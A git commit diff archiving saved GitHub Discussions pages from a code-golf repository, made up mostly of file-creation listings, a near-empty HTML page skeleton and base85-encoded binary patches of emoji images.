Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/exocloud - Chat Export - 6-22-2022 at 12-18-35 PM.zip diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 59be43b..0000000 --- a/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -* -!*.* diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf.html b/archive/Discussions · Ta180m_Idiot-Code-Golf.html new file mode 100644 index 0000000..9d4ab78 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf.html @@ -0,0 +1,3149 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Discussions · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + + + + + + + + + + + + + +
+ +
+ + + + + + + +
+ + + +
+ + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + Ta180m  /   + Idiot-Code-Golf  /   + +
+
+ + + +
+ + +
+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ +
+ + + + + + + + + + +
+ + +
+
+
+ + + + + + + + + + + +
+ +
+ +
+
+ + + / + + Idiot-Code-Golf + + + Public +
+ +
+ +
    + +
  • +
    +
    +
    +
  • + + +
  • + +
    + + + + + Unwatch + + + + + 1 + + + + +
    +
    +

    Notifications

    + +
    + +
    +
    + + + + + + + + +
    + + +
    + + + + + Get push notifications on iOS or Android. + +
    +
    +
    +
    + + + + +
    +
    +
    + + + +
  • + +
  • + Fork + 0 + + +
  • + +
  • + + +
    +
    + + +
    +
    + +
    +
    + + + + +
    + +
    +
    + + + + + + + +
    + +
    +
    +
    +
    +
    +
  • + + + +
+ +
+ +
+
+ + + + +
+ + + + +
+ + + + + + +
+ + +

Discussions: Ta180m/Idiot-Code-Golf

+
+
+

Pinned Discussions

+ +
+ +
+ +
+ + + +
+
+ Label + + + + + +
+
+ Filter by label + +
+
+ +
+ + + + + + + +
+
+
+ +
+ +
+ Filter + + +
+ + + +
+ + +
+ +
+
+

Categories

+ + + +
+ +
+ + +
+ +
+
+

+ Most helpful +

+ +
+
+
+ +
    +
+ +

+ Be sure to mark someone’s comment as an answer if it helps you resolve your question — they deserve the credit! + two_hearts +

+
+ +
+ + + +
+

Discussions

+ + +
+
+ +
+ + +
+ + + +
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + +
+ 2 + Upvotes
\ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f495.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f495.png new file mode 100644 index 0000000000000000000000000000000000000000..d251d0d7878a6fc6b552b7d8a44cc93118eb9351 GIT binary patch literal 3155 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 literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f4a1.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f4a1.png new file mode 100644 index 0000000000000000000000000000000000000000..b0506fc7c91dda96fe6406e46d73eb9f5a3b91dc GIT binary patch literal 3095 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 Y0#Y9XI(X@eTmS$707*qoM6N<$f>DGHbN~PV literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64c.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64c.png new file mode 100644 index 0000000000000000000000000000000000000000..e0e21940e596591df2c16078f9d0b4118edfcbbd GIT binary patch literal 3689 zcmV-v4wmtWP)bTU1X^irQ;ozl8lsj&+Oeor zLj{rAs*TtLW-f!$k}*_3!8C2D*feV5M@)@HXkliUd+*%ubIxAtb??nS+2@{pFL$_i zD3dTxva;`8Ip=+!_jy0oI?3jB!zrA?DO_^NC1aOfdg&x@R9tbz75|m4L)Tq*o#l0c z;q}Ftz>epie?EGn3LpS+9P1lYfD&)$3aHoXdYm)kSJL&!MHgLEKPd&c^2#f3z5Mda z|L?NPF8fhVFs{1ls>^^s2Ciwh+uKh{0lfF)B63E$9=`hOtH+PG0$Qz>ZggCF@4pBb z5xL{>#~*+0q!eIoZf-B|brJcYUavQGqK>yXj_(7`RMoGIkB|Q@Co}f!*>gtPr-##} z>Ds$NPj}O$7hZT_$T~<{>XyRROuEiG>4#uZo;LsvxIGQv8a9C<__vA3od6>8%TGS} z0Jnz;8}Z+5Im)z|B-4 z>8bGLB7jFXA>i#r@c()3wbwQ%fhuxzAHR_KPM^2x0iqvx3yd`EV_~cH$;S4{8-h6c z?9qMZ4_OTrkq-g~fhT$O_;=u6jWO3BJa}-45=OZ|j^_jP*`^LFCy(KPUP0(j-UHjF(|7zqLp@e42T6THTlUf^O7FV>O+!A6mDhRXnsJivt+*O#Vv z>j@EHdLNgFF;7RWk%+h z1|dcQXie`kpAW*|skl9Im%)59t%~<-SpYHiuI7%@+O3_ZwMWl7r=`e8RrpD&AaR^E z`=EWM=go7@$qO_4&2O(O_H2`A+Y9nKH6Yw)^7Gi$3K04Oy_j}rgH4!FJVGuzaM+!Dbxs_iv;0fj) zW@6IRbp#gh7n}mqGIkh1a2s7J?*fd~D5H{NZ zfDNJ{1Gt`N*KrFlz0cm59x4AbGiCqz=oEX5V^aO_z>zZFB?#*cTg;4s01N_6HVJ`d z=?^3b07yl)>nJvS5%Ff3$>}M6YUV-vt?B*dJ4g3%{h9(Cnc`ho{X*-sH|=ihJnhH8 zd`X0xRAg-@URe#T5D*a*8f+4((hxCh1oc`{8!iFMM-cPZ>0rFDb=v9Yh%xugO!1D2 z00HKf`p9@K%_LE?MPqz>-3vb_!$BESIQ2thq3T}{)%xaJfEsHiK!<$0f}0)UiW=d% 